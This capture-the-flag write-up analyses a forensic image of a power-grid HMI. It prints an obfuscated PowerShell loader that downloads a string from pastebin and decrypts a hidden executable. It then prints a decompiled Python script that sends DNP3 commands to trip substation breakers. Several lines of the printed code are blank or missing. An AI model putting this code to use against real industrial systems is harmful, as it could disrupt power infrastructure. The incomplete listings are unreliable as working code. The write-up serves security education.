CSAW 2021: Tripping Breakers

Category: ICS
Points: 481


Attached is a forensics capture of an HMI (human machine interface) containing scheduled tasks, registry hives, and user profile of an operator account. There is a scheduled task that executed in April 2021 that tripped various breakers by sending DNP3 messages. We would like your help clarifying some information. What was the IP address of the substation_c, and how many total breakers were tripped by this scheduled task? Flag format: flag{IP-Address:# of breakers}. For example if substation_c’s IP address was and there were 45 total breakers tripped, the flag would be flag{}.


We are given a minimal triage image from a Windows system that includes a CSV listing scheduled task information, the SOFTWARE registry hive as a JSON file, and the contents of the user profile for the “operator” user.

We can open and sort the scheduled tasks by last run time using Timeline Explorer. The task that stands out is the Powershell script being run from the %temp% directory.



Fortunately for this investigation, the Powershell script can still be found in the provided user directory. The script uses base64 to obfuscate two registry keys that it pulls values from.

We can search the provided SOFTWARE registry hive to locate both keys. The first value is a password and the second is the path to a text file, which is also provided with the triage image.

# Decodes to "HKLM:\SOFTWARE\Microsoft\Windows\TabletPC\Bell"
$SCOP = ((new-object System.Net.WebClient).DownloadString("https://pastebin.com/raw/rBXHdE85")).Replace("!","f").Replace("@","q").Replace("#","z").Replace("<","B").Replace("%","K").Replace("^","O").Replace("&","T").Replace("*","Y").Replace("[","4").Replace("]","9").Replace("{","=");
$SLPH = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64 String($SCOP));

# Reads the string "M4RK_MY_W0Rd5" from the registry key "Blast"
$E = (Get-ItemProperty -Path $SLPH -Name Blast)."Blast";

# Decodes to "HKLM:\SOFTWARE\Microsoft\Wbem\Tower"
$TWR = "!M[[pcU09%d^kV&l#9*0XFd]cVG93<".Replace("!","SEt").Replace("@","q").Replace("#","jcm").Replace("<","ZXI=").Replace("%","GVF").Replace("^","BU").Replace("&","cTW").Replace("*","zb2Z").Replace("[","T").Replace("]","iZW1").Replace("{","Fdi");
$BRN = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($TWR));

# Reads the string "\EOTW\151.txt" from the registry key "Off"
$D = (Get-ItemProperty -Path $BRN -Name Off)."Off";

# Decrypt the contents of 151.txt and save them as fate.exe
openssl aes-256-cbc -a -A -d -salt -md sha256 -in $env:temp$D -pass pass:$E -out "c:\1\fate.exe";

We can directly run the openssl command ourselves using the deobfuscated arguments to recover the fate.exe program.

$ file 151.txt
151.txt: openssl enc'd data with salted password, base64 encoded
$ openssl aes-256-cbc -a -A -d -salt -md sha256 -in 151.txt -pass pass:"M4RK_MY_W0Rd5" -out fate.exe
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
$ file fate.exe 
fate.exe: PE32+ executable (console) x86-64, for MS Windows

We can quickly determine from the strings that this program is actually just a Python script bundled with PyInstaller.

$ strings -n15 fate.exe
Failed to get address for PyUnicode_AsUTF8
Error loading Python DLL '%s'.
Error detected starting Python VM.
Failed to get _MEIPASS as PyObject.
PyInstaller: FormatMessageW failed.
PyInstaller: pyi_win32_utils_to_utf8 failed.

We can use pyinstxtractor to extract the Python script and then decompile the outputted pyc file using uncompyle6.

python3.6 pyinstxtractor.py fate.exe
uncompyle6 fate.exe_extracted/trip_breakers.pyc

Each Python version can introduce slight changes to the way that the marshalling and bytecode work. In order to completely recover the full Python script, we must run both tools explicitly using Python 3.6. This can be done in a virtual environment using pyenv to avoid messing with the system default.

# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.0 (default, Sep 12 2021, 07:24:49) 
# [GCC 10.3.0]
# Embedded file name: trip_breakers.py
import struct, socket, time, sys
from crccheck.crc import Crc16Dnp

OPT_1 = 3
OPT_2 = 4
OPT_3 = 66
OPT_4 = 129

class Substation:
    def __init__(self, ip_address, devices):
        self.target = ip_address
        self.devices = []
        self.src = 50
        self.transport_seq = 0
        self.app_seq = 10

        for device in devices:


    def connect(self):
        print('Connecting to {}...'.format(self.target))
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.connect((self.target, 20000))
        print('Connected to {}'.format(self.target))

    def add_device(self, device):
        self.devices.append({'dst':device[0],  'count':device[1]})

    def activate_all_breakers(self, code):
        for device in self.devices:
            dnp3_header = self.get_dnp3_header(device['dst'])
            for x in range(1, device['count'] * 2, 2):
                dnp3_packet = dnp3_header + self.get_dnp3_data(x, OPT_1, code)
                dnp3_packet = dnp3_header + self.get_dnp3_data(x, OPT_2, code)

    def get_dnp3_header(self, dst):
        data = struct.pack('<H2B2H', 25605, 24, 196, dst, self.src)
        data += struct.pack('<H', Crc16Dnp.calc(data))
        return data

    def get_dnp3_data(self, index, function, code):
        data = struct.pack('<10BIH', 192 + self.transport_seq, 192 + self.app_seq, function, 12, 1, 23, 1, index, code, 1, 500, 0)
        data += struct.pack('<H', Crc16Dnp.calc(data))
        data += struct.pack('<HBH', 0, 0, 65535)
        self.transport_seq += 1
        self.app_seq += 1
        if self.transport_seq >= 62:
            self.transport_seq = 0
        if self.app_seq >= 62:
            self.app_seq = 0
        return data

def main():
    if socket.gethostname() != 'hmi':

    substation_a = Substation('', [(2, 4), (19, 8)])
    substation_b = Substation('', [(9, 5), (8, 7), (20, 12), (15, 19)])
    substation_c = Substation('', [(14, 14), (9, 16), (15, 4), (12, 5)])
    substation_d = Substation('', [(20, 17), (16, 8), (8, 14)])
    substation_e = Substation('', [(12, 4), (13, 5), (4, 2), (11, 9)])
    substation_f = Substation('', [(1, 4), (3, 9)])
    substation_g = Substation('', [(10, 14), (20, 7), (27, 4)])
    substation_h = Substation('', [(4, 1), (10, 9), (13, 6), (5, 21)])
    substation_i = Substation('', [(14, 13), (19, 2), (8, 6), (17, 8)])


if __name__ == '__main__':
# okay decompiling fate.exe_extracted/trip_breakers.pyc

The script shows that substation_c’s IP address is The list passed as the second argument to the Substation class is used to provide the destination address and count of each device connected to that substation. The second element inside each tuple provides the count of devices that we need to use. Adding all of the values together incorrectly shows 257 devices.

The question is asking us how many breakers were actually tripped. Since we have established that substation_c had its breaker’s tripped, we can assume that each substation that received a packet using OPT_4 was tripped. Adding only the values from these substations yields the correct answer of 200 total breakers.

Flag: flag{}